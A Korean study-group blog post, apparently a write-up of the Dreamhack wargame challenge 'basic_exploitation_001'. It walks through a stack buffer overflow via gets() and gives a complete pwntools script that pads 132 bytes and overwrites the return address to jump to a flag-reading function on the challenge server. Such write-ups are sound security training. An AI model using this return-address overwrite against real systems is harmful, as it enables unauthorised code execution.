스터디 그룹/ProjectH4C

ProjectH4C 3개월 1주차 과제(Dreamhack - basic_exploitation_001)

또 새로운 문제를 풀어보자. 재미있다 ㅎㅎㅎㅎㅎㅎ

 


📖 1) 문제 파악

이번에도 c파일이 존재하지만, 보지않고 풀어보도록 하자.

 

우선 실행을 하기 전에 보호기법을 먼저 보자. NX는 enabled가 되어있으므로 쉘코드는 불가능하지 않을까 싶다.

 

뭐지 ??

 

gdb로 열어보자.

 

main함수 내부는 정말 무난하게 생긴 것 같다. 다른 함수들이 있는지 알아보자.

read_flag 함수가 보인다. BOF를 통해서 RET를 0x080485b9 으로 덮으면 될 것 같다.

 

이게 main함수이다.

read_flag 함수는 cat flag 명령을 실행시킨다.

 


📖 2) 문제 분석

방심은 금물이라지만, 이 문제는 매우 쉽게 풀 수 있을 것 같다.

 

먼저 gets함수에서 값을 끝없이 받아들일 수 있다.

하지만 s는 128 바이트이므로 132바이트를 채워버리고 RET를 0x080485b9 으로 덮어버리자.

 


📖 3) 문제 풀이

되게 쉽게 풀었다.

 

from pwn import *

p = remote("host1.dreamhack.games", 18871)

read_flag_addr = p32(0x080485b9)
dummy = "A" * 132
payload = dummy + read_flag_addr

p.sendline(payload)
p.interactive()

📖 4) 문제 해결, 느낀 점

이번 문제는 정말정말 쉬웠다. 오히려 이전 문제랑 지금 문제랑 바뀌는게 맞다고 생각된다.